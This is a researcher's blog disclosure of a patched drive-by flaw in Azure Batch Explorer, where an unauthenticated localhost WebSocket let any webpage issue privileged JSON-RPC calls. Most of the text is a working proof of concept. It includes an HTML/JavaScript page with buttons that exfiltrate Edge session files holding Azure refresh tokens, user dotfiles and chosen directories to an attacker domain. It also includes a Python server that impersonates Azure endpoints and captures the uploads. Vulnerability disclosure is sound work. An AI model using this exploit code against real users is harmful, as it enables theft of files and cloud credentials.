When I realized there’d be no paycheck for this research, I figured I might as well earn some street cred instead. It started with a hunch: local developer tools can quietly widen your attack surface. Azure Batch Explorer, a desktop app from Microsoft for managing Azure Batch resources, was a case in point. Versions up to 2.21.0.1069 opened a WebSocket on 127.0.0.1 with no origin checks, CORS enforcement, or authentication. Any webpage you visited could talk straight to it. The fix is out now so let’s unpack what went wrong and why it matters.


What Was the Risk?

If you ran a vulnerable version of Batch Explorer and simply opened a malicious webpage, that page could:

  • Connect to ws://127.0.0.1:45032 and issue JSON-RPC calls
  • Trigger privileged actions like uploading any local file or stealing Azure refresh tokens
  • Do it all without a single prompt or click

The app exposed a local control plane to the browser without validating who was talking to it.

What Could Be Stolen?

  • Any file the app could read: shell configs, credential stores, even your entire user folder
  • Azure refresh tokens with scopes such as offline_access, openid, and user_impersonation

If those tokens belong to a high-privilege account, an attacker could go from a simple web page to full Azure privilege escalation.

How the PoC Worked

  1. Attacker hosts a malicious HTTPS page and a fake “Azure” endpoint using a Python server.
  2. Victim opens Batch Explorer, which spins up a WebSocket on localhost:45032.
  3. Victim browses to the attacker’s page and the JS opens the WebSocket.
  4. JS sends a create-file-group JSON-RPC call pointing uploads at the attacker’s server.
  5. Files like AppData/Local/Microsoft/Edge/User Data/Default/Sessions/tab* get exfiltrated.

Batch Explorer trusted any armUrl or storageEndpoint in the payload, even if it pointed outside Azure.

Why It Was Missed

This wasn’t a subtle race condition or side-channel trick. It boiled down to:

  • A local WebSocket server with no origin validation
  • No authentication or permission checks on JSON-RPC methods
  • Unvalidated user supplied inputs, such as the URLs

Even top-tier vendors can slip up on basic trust boundaries when they assume localhost equals safe.

On Bug Bounties and Scope

Microsoft marked this out of scope because the app is open source. That’s technically correct, but they’re the sole maintainer and publisher, this isn’t a forgotten community fork or community maintained. After some back and forth with the team, the Azure bounty scope is now clearer about excluding first-party open source tools like the Azure CLI and PowerShell modules. Shame it was updated only after I’d submitted my report. https://www.microsoft.com/en-us/msrc/bounty-microsoft-azure#:~:text=February%2012,%202025

Key Lessons

  • Enforce authentication and origin checks on every local RPC interface
  • Treat all web inputs as untrusted data, even in a browser context
  • Map your threat model to real-world usage and product lifecycles
  • Ensure the vendor’s security priorities align with your usage, and revalidate assumptions regularly

Wrapping Up

The patch rolled out quickly, which is a welcome win. Still, unauthenticated local control interfaces remain a serious risk. If your app exposes an API, even on localhost, require authentication as a non‑negotiable baseline. Too bad this did not earn a bounty. Drive-by attacks in 2025 are rare and impactful.

Please remember, local doesn’t mean safe.

Proof.mp4

Click me for proof


PoC HTML


<html>
<head>
<script>
function batchExfil(fileOrFolder,malServer,recurse){
try{ws.close()}catch(e){}
const ws = new WebSocket('ws://1:1@127.0.0.1:45032/')
ws.onopen = () => {
  console.log('ws opened on browser')
  ws.send(`
          {"jsonrpc":"2.0",
           "method":"create-file-group",
           "params":["asdzwzw","${fileOrFolder}",{
                     "fullpath":true, "prefix":false, "flatten":false,"recursive":${recurse}
                     }],
            "id":0,
            "request_id":0,
           "options":{
               "authentication":{
                   "batchToken":"a.a.azwzw",
                   "armToken":"a.a.azwzw",
                   "armUrl":"https://${malServer}/",
                   "storageEndpoint":"@${malServer}/storageendpoint/",
                   "account":{
            "id": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Batch/batchAccounts/testaccountmsobb",
            "name": "testaccountmsobb",
            "type": "Microsoft.Batch/batchAccounts",
            "location": "canadacentral",
            "subscription":{"subscriptionId":"00000000-0000-0000-0000-000000000000"},
            "properties": {
                           
                "accountEndpoint": "testaccountmsobb.canadacentral.[REDACTED]",
                "nodeManagementEndpoint": "76ccb063-54c8-4de3-aacb-304ccb86c7c3.canadacentral.service.batch.azure.com",
                "poolAllocationMode": "BatchService",
                "publicNetworkAccess": "Enabled",
                "networkProfile": {
                    "accountAccess": {
                        "defaultAction": "Allow"
                    }
                },
                "encryption": {
                    "keySource": "Microsoft.Batch"
                }
            },
            "identity": {
                "type": "None"
            }
        }
                       }
                       }
                       }
                       `)
}

ws.onmessage = (message) => {
  console.log(`message received`, message.data)
}
}
</script>
<head>
<body>
<h1>Poc page for batch explorer vulnerability</h1>
<div>
Input your malicious domain hosting the python server ex:"example.loc"
<input id="maldomain" value="">
</div>

<div>
<h2>Exfil the tab file which contains the refresh token that was used to connect to the app </h2>
<input id="refreshToken" size=200 value="C:/Users/*/AppData/Local/Microsoft/Edge/User Data/Default/Sessions/tab*" disabled>
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(refreshToken.value,maldomain.value,false)">escalate privileges by exfiltrating azure/m365 refresh token</button>

</div>

<div>
<h2>Exfil username and dot file such as .gitconfig</h2>
<input id="exfilUsers" size=200 value="C:/Users/*/.*" disabled>
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(exfilUsers.value,maldomain.value,false)">exfiltrate users</button>

</div>

<div>
<h2>Exfil from any directory recursively</h2>
<input id="exfilDir" size=200 value="C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Accessories" >
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(exfilDir.value,maldomain.value,true)">exfiltrate a directory of your choice</button>

</div>

<div>
<h2>Exfil a single file</h2>
<input id="singleFile" size=200 value="c:/windows/debug/netsetup.log" >
<br><button onclick="if(maldomain.value.length<3){maldomain.value=prompt('input your domain hosting the malicious python server', 'example.loc')};batchExfil(singleFile.value,maldomain.value,false)">exfiltrate a file of your choice</button>

</div>

</body>

</html>

Python Server PoC

from http.server import HTTPServer,SimpleHTTPRequestHandler
import http
import ssl
import logging
from http import HTTPStatus

PORT = 8443

class MyHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    def handle_request(self):
        logging.error(self.headers)
        logging.error(self.request)
        """Unified handler for all HTTP methods."""
        print(self.path)
        self.protocol_version = "HTTP/1.1"
        if self.path.split("?")[0].endswith("batchAccounts") == True:
            self.send_response(http.HTTPStatus.OK)
            message = '''{
    "value": [
        {
            "id": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Batch/batchAccounts/testaccountmsobb",
            "name": "testaccountmsobb",
            "type": "Microsoft.Batch/batchAccounts",
            "location": "canadacentral",
            "properties": {
                "accountEndpoint": "testaccountmsobb.canadacentral.[REDACTED]",
                "nodeManagementEndpoint": "00000000-0000-0000-0000-000000000000.canadacentral.service.batch.azure.com",
                "provisioningState": "Succeeded",
                "dedicatedCoreQuota": 6,
                "dedicatedCoreQuotaPerVMFamily": [
                    {
                        "name": "standardAv2Family",
                        "coreQuota": 6
                    }
                ],
                "dedicatedCoreQuotaPerVMFamilyEnforced": true,
                "lowPriorityCoreQuota": 6,
                "poolQuota": 20,
                "activeJobAndJobScheduleQuota": 100,
                "autoStorage": {
"storageAccountId": "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/test-tmp2/providers/Microsoft.Storage/storageAccounts/zwzwzw",
                    "lastKeySync": "2024-11-25T18:57:18.3288351Z",
                    "authenticationMode": "BatchAccountManagedIdentity"
                },
                "poolAllocationMode": "BatchService",
                "publicNetworkAccess": "Enabled",
                "networkProfile": {
                    "accountAccess": {
                        "defaultAction": "Allow"
                    }
                },
                "privateEndpointConnections": [],
                "encryption": {
                    "keySource": "Microsoft.Batch"
                },
                "allowedAuthenticationModes": [
                    "AAD",
                    "TaskAuthenticationToken"
                ]
            },
            "identity": {
                "type": "None"
            }
        }
    ]
}'''
            self.send_header("Content-Type", "application/json")
        elif self.path.split("?")[0].endswith("listKeys") == True:
            message = '''{"keys":[{"keyName":"key1","value":"","permissions":"FULL"},{"keyName":"key2","value":"","permissions":"FULL"}]}
'''
            self.send_response(http.HTTPStatus.OK)
            self.send_header("Content-Type", "application/json")

        elif self.path.endswith("&restype=container") == True:
            message = '''<?xml version="1.0" encoding="utf-8"?><EnumerationResults ServiceEndpoint="https://batch.qwertysecurity.com/" ContainerName="test123"><MaxResults>30</MaxResults><Delimiter>/</Delimiter><Blobs /><NextMarker /></EnumerationResults>
'''
            self.send_response(http.HTTPStatus.OK)
            self.send_header("Content-Type", "text/xml")

        elif self.path.endswith("&comp=metadata") == True:
            self.send_response(http.HTTPStatus.OK)
            message = '''{"keys":[{"keyName":"key1","value":""}]}
'''
            self.send_header("Content-Type", "text/xml")

        elif self.path.startswith("/storageendpoint/") == True:
            message = '''Okay
'''
            self.send_response(http.HTTPStatus.CREATED)
            self.send_header("access-control-allow-origin", "*")
            self.send_header("access-control-expose-headers", "x-ms-request-id,x-ms-client-request-id,Server,x-ms-version,x-ms-content-crc64,Content-MD5,Last-Modified,ETag,x-ms-request-server-encrypted,Content-Length,Date,Transfer-Encoding")
            self.send_header("content-md5", "bWhXUMmjaSzZ/ykNM6jvMQ==")
            self.send_header("date", "Mon, 25 Nov 2024 20:47:10 GMT")
            self.send_header("etag", "0x8DD0D9255CFEF53")
            self.send_header("last-modified", "Mon, 20 Nov 2020 20:20:20 GMT")
            self.send_header("server", "Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0")
            self.send_header("x-ms-client-request-id", "4a99d12d-4fc4-487b-ab78-ca40a75f0013")
            self.send_header("x-ms-content-crc64", "YD3+dFyECL8=")
            self.send_header("x-ms-request-id", "00000000-0000-0000-0000-000000000000")
            self.send_header("x-ms-request-server-encrypted", "true")
            self.send_header("x-ms-version", "2022-11-02")
            self.send_header("Content-Type", "application/octet-stream")

        else:
            message = 'not found'
        # Send response headers
#        logging.error("Received query to path: \r\n" +self.path+ " Sending message: \r\n"+message)
        self.send_header("Content-Security-Policy","default-src 'self'")
        self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
        self.send_header("Pragma", "no-cache")
        self.send_header("Expires", "0")
#        self.send_header("Content-Length", str(len(message)))
        self.send_header("X-Ms-Request-Id", "24b77f2f-16bd-440b-ae35-e94effbf1e6a")
        self.send_header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
        self.send_header("X-Ms-Ratelimit-Remaining-Subscription-Resource-Requests", "11999")
        self.send_header("X-Ms-Correlation-Request-Id", "7e8169e0-4c2c-4665-a1bf-a6e3a52ce5af")
        self.send_header("X-Ms-Routing-Request-Id", "CANADAEAST:20241125T144212Z:7e8169e0-4c2c-4665-a1bf-a6e3a52ce5af")
        self.send_header("X-Content-Type-Options", "nosniff")
        self.send_header("X-Cache", "CONFIG_NOCACHE")
        self.send_header("X-Msedge-Ref", "Ref A: 45CA1FE5577C49F6B34D3EDFAD79E2E8 Ref B: YTO221090814035 Ref C: 2024-11-25T14:42:12Z")
        self.send_header("Date", "Mon, 25 Nov 2024 14:42:11 GMT")
        self.send_header("x-ms-error-code","BlobNotFound")
        self.end_headers()

        # Write the response body
        self.wfile.write(message.encode('utf-8'))

    # Override all HTTP method handlers to use handle_request
    def do_GET(self):
        self.handle_request()

    def do_POST(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_body = self.rfile.read(content_length)
        print(f"Received POST body: {post_body.decode('utf-8')}")
        self.handle_request()

    def do_OPTIONS(self):
        self.handle_request()

    def do_PUT(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_body = b'Received PUT body: '+self.rfile.read(content_length)
        print('\r\n==========================================\r\n')
        print(post_body.decode('ISO-8859-1'))
        print('\r\n==========================================\r\n')
        self.handle_request()

    def do_DELETE(self):
        self.handle_request()

    def do_HEAD(self):
        self.handle_request()

    def do_PATCH(self):
        self.handle_request()


httpd = HTTPServer(('0.0.0.0', 443), MyHTTPRequestHandler)
# Since version 3.10: SSLContext without protocol argument is deprecated.
# sslctx = ssl.SSLContext()
sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
sslctx.check_hostname = False # If set to True, only the hostname that matches the certificate will be accepted
sslctx.load_cert_chain(certfile='certificate.crt', keyfile="private.key")
httpd.socket = sslctx.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()